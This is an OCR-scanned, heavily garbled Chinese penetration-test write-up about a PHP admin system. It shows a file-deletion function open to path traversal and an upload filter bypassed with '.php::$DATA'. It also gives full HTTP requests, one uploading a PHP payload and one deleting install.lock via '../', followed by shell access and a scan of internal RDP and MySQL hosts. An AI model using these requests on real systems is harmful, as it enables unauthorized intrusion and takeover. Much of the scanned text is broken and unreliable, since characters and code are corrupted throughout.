e, BREFTAMARNE -
SecPulse.COM | 2 kid

if (is_array($postl'ids'])) { foreach
($postlids'] as $file) {

$fileservice—>del_dir(ROOT _......

10 | PelETitt

1 http: ‘ndex. php

2 http:/ ronfig ine. php
3 hittp: ‘apifindex. phyp

: Lttp,
_ http {beifen. zip

B hitp
T hitp notify. php

8 http dd_bleg. php

g Litp: ‘receive. inc, php
10 http: config php

11 http:, - fzession. php

1z http:, ‘utils. php

13 http:, 'peonfig. php

THEITF, RIZREFRE, sql XHEEEE.



2020/12/T 11:27
2020/12/T 11:27
2020A12/T 12:27
2020127 11:27
2020/12/T 11:28
2020/12/T 11:27
2020A12/7 11:27
2020/12/T 11:25
2020/12/T 11:25
2020/12/T 11:25
2020£12/T 11:25

KRR EINEIREN p. kS, BEEEE K

BENBEESR,

1

2020/12/T 11:25
2020/12/T 11:25
2020£12/T 11:25

[

lfret

urn [

/7 HYREERE
type

// REEEHL

hostname

/ ERER

* database’

/I RRE

usEname’
/OER
password
/WO
hostport

/f EfEdsn

{5
dsn |

x|

| 2003 - Can' t commect to MySOL server o (10080 “Unkmown error™)
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BAREEAL, BAREFEIT—TREY, =T HRE—

S

L
SEHRIFEER IR 'Iiﬁﬁ‘fi%x *MW/MMEE

[ppLication/conmon. phy
p :

BIRSFTHEE T
SPERFEah RS, SRFIEeT *m/mﬁ/«e

Tl S

Phe
Jsgplication/adnin/controller/systen/Clear phy
Jupplication/adnin/controller/systen/SystenCLenr. 3hp

2 Leardsta, phy

nr E:

Jappl Lo php
applicatio Y

Bl 4;
TEEEE 3&*67’2§ ‘erﬁﬁzﬁﬁgfﬁﬂ
AIRAHEX A NS TRE

S

)i

mmsu;ﬂmm;xg _JEHKRWEQEEH
=S, ARHIEET
R EEEE, AREFHERY
R FTE R ARG
EEIES AR R
Eeh R PIRTHEEE Y PR
A4, TR ERTHAT

/w3

ZEEE, &
})I_IL’ /application/index/controller/system/SystemUpgradecl

ient.php EF'E"] setcopydel E/f—_“—/u},uj: #%*&

setcopydel()

Jsppl t.php
Jspplication/adnin/viev grom/index pho
Japplication/adnin/vi evfspecial/ wudio_videofadd. ko
Japplication/push/ controller/Events. phy

Japplication/push/ contrcller/Bvents phy
Jsgplication/uap/contr ller/Special. phy

Jextend/Api /i yun ol yun-phy=sdi-cor o/ hat sl oader /Autoloa
Jextend/hpi /i yun sLiyun-phy-=dlcore/Regions/EndpointCa.
Jextend/Api /aliyun, aliyen-php-sdi-eore/Uni tTast/BaseTest. pho
Jextend/sarvies/CavasService. phy
Jextend/service/CanvasService. pkp
Jextend/service/CanvasService. phy
Jextend/service/FileService. php

Jextend/service/FileService php

Jextend/service/FileService. she

Jextend/sarvice/FileService. php

FILABEIA post AREW T B IMSE,

=] .
4\xE ids

if (is_array($post['ids'])) {
foreach ($post['ids'] as $file) {

$fileservice->del_dir(ROOT_PATH .

file_put_contents Gnwne . tat’, [ . date(Tmod Hoiow

Gunlink ("FdirNiane/Si t
if (filesize(u)) St

fread($fp, filesize(w))
Saxeeute_sal = exploda (;Ar", str_replace ([' [#DB_PREFIXS]
if (fwrite(Shandle, $eontent) alse) Json: fail ( FHERE
require ([’ regverify ), function (freg) {

require (I' vae’, " helper’ ], function (Yae, $h) (

ook exec (sel€: SevevthunClass, *task’ - $sec)

Hook: - exec (sel: fevevtiullass);

i (Eile_get_contents (Stash->1ink))

include_once $6ile

Snl = sinplesnl_Load sirine(file_gst_conten

include_once §path . “Confie phy

i€ (£ile_exists (ol FILELINE . Savatar_nane)) unlink(zel
if (Ifile_oxists (fpath)) file put_contents(fpath, Routinel
if (Ifile_exists (fpath)) file put_contents(fpath, RoutineC
$£52=Eopen ($save_tir. SEilenune,” o' );

readfile (furl)

$file = fopen(ifile 's);

$6p = fopen(Bpath,"w' )

. $file);

"public' . [



if ($post['id']) {
$copyFile = ROOT_PATH . 'public' . DS . 'copyfile'
// echo $copyFile;exit;
$fileservice->del_file($copyFile);

idsBREWNAN, AEHERE, A
$fileservice->del dir()AEH,

iR B RBFM, BEERHIRRIZEANSfileservice-
>del file()AET,

PBREBZXMMN L EHETHLHIE.

$fileservice->del dir () E=MRER

hel_dir{idihwame}

if (!file exists($dirName))
I
L

return

JL

MERER, BRXZE—TEERXEHRERRE, 27 TR
.

static function del_dir($dirName)
{
if (Ifile_exists($dirName)) # ¥WicitsBEZELEE,



{
return false;
1
$dir = opendir($dirName); # ITA—1BZE, ERENR
while ($fileName = readdir($dir))

{
$file = $dirName . '/' . $fileName;
if ($fileName != "." && $fileName != '..")
{
if (is_dir($file)) # ¥ MTRAEREX,2EHZEM
{
self::del_dir($file);
3
else
{
unlink($file); # MIBRST4t
3
ks
ks
closedir($dir);
return rmdir($dirName); # MERE R

$fileservice->del file()A/AEMRXE

del file($dirName)

if (file_exists($dirName))

I
L

recurn
JL

~n unlink($dirName) ;

XRBETAFIRNT, AMXEHEREFE, REMER.
BE, X2 hw W, XFEtoBELERN, KRRk



BT .

ZUERNERLZTH
applicationadmincontrollersettingSystemCo

nfig.phpHM&I Tview upload HERIAIE,

view_upload()

es->filePath]);

XNAER, typel 3 HIRHMER LEXXMHR, ABREN
Upload::fileH &,

file($fileName, $path, $moveName = » $autovalidate = [], $root =

BREAEX AR T ERZ T8N php, BZTE win
MRZHR, FTUBEUA TH—ER RS,

.php.
.php(=18)
.php:1.3jpg
.php: :$DATA
.php: :$DATA......



ZTE, RKIMEAL.php: : SDATAXAFRI T AT IASE
i, HMIERY post FUREN:

POST /index.php/admin/setting.system_config/view_uploc
Host: xxx.com

Content-Length: 403

Cache-Control: max-age=0

Origin: http://xxx.com

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKid
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) !/
Accept: text/html,application/xhtml+xml,application/xn
Referer: http://xxx.com/index.php/admin/setting.systen
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID=es9eflhlc9i@t2lbrcrlqigfmt
Connection: close

—————— WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name="file"

site_logo
—————— WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name="type"

—————— WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name="site_logo"; file
Content-Type: image/png

<?php

phpinfo();

7>

—————— WebKitFormBoundaryP7jKNcoemK2sybZb- -

MINEEX M, BERXITXG LEFTEREERTREL
%, EEZEIMELERKRI T, RBEERLFEKSEZE,
BEXTEFAinstal IXH, RIFLTWANEEREFLEX
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HHZERERRIE—ITXYE, KFMEEELREK, M
MEEEESNREBN—1F,

TIAB ML RER T — M install. lock XHSREINA
S[RERTY), BABRNTT B2 IEE MR
SRMBRIR N M LR AT B,

BEXTMEFEX M, MRAGHITER, XM EEEAA
BEARRELL TN, 2FE, RSXTREFAEE, &
BEFRIE AR A RE [ RORT R AT A

BRI R T A Y, BRAFM/IVOEERIFIIE—T post
B, BERNGTEFEIRT,

MR RRZZ] shell
MiBRinstall.lock X{FRIEGER :

POST /index.php/admin/system.System_Upgradeclient/set«
Host: www.xxx.wang

Content-Length: 26

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://waww.xxx.wang

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) !/



Accept: text/html,application/xhtml+xml,application/xn
Referer: http://www.xxx.wang/index.php/admin/system.Sy
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID=8itmp7itfolvabuu7bu@ouhgos
Connection: close

id=/../install/install.lock&ids=1

Raw | & | Hex | Render

HTTP/M.1 200 OK

Date: Tue, 08 Dec 2020 01:45:06 GMT

Semwer Apache/Z. 430 (Wind4) OpenS5L1.1.1b mod_fegid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHR/7 3.4

Expires: Thu, 19 Mov 1821 02:52:00 GMT

Cache-Control: no-stare, no-cache, mustrevalidate

Fragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 85

{"code":200 "msg":"WEZ20WIEBELWEZ 10WS2H" "data" ], "count":0}

REMEZINN, BERZAEE, AMEIERAFINE
T, ATAHNRRNBIREMKA, BN RAREKE
EIZH mysql IMEE CRIBRS T,



PRI [ 2 T

)2
RINE R "%Ft@tshell R Z BRI R
&, °”7§1'|'/£§3=5”EE’T' 2% shell A nc R#E—T,

i ey

BET RS LA LEF, AW AR LFEEME
7.

com
i.Ccom
< Oom

. COom

- Com

BRLEET, BHKE—TER, REERERELER
H—T, ERKRIM:

Bosss
=
| 3389 - or WIN-1LLISDENIGFE
10. 117 RDP 3389 admini tor HEIWX WIN-TB41SMLEGCE 6381
3 10. 117 RIP 3389 admin’ stor HEDWX WIN-Q3E4THNU1UE 8913
4 10. 117 RDF 3389 admiy ater HEDWX WIN-HTCUS44NSIK 13495
s 10. 117 BySAL 3306 k 4 5.6.24 13
] 10. 1170 MySQL 3308 t 56 5.5.15 s
T 10. 117, RDF 3389 ade trator IHEDWX WIN-LUTZIFIGHTZ 14401
I 8 10. 11T RDF 3389 adm trator BHED¥X SHIXUENEF4 14445
) 10. 117 RDF 3388 ade trator THEDRX WIN-THNFBOEHNVE 14424
10 10. 11 RDP 3389 adn trator HEDWX WIN-YUISSSGCUS3 14444
11 10. 117 RIP 3388 adn trator HEDWX SHINVEWENZ 15021
12 10. 11 RDF 3389 adn trator HEDWX WIF-HUFSEBI9ASH 18153
13 10. 11 RIFP 3369 adm: rator JHEDRR WIN-80JQaVCTTED 1287
14 10,117 RDF 3389 admi. ~ator IHEDWX SHIXVEWEN1 14385
15 10. 117 FIP 21 anc us UNLX Type: 18 121
16 10. 117 FTP 21 URIX Type: 18 21

REAWT— —F—Fﬁ'ﬁe X 753[]7 XfR7, BiEX
LSEOERME@DZR), —HETTE E“‘E'JMEE, =
T 3600 7,
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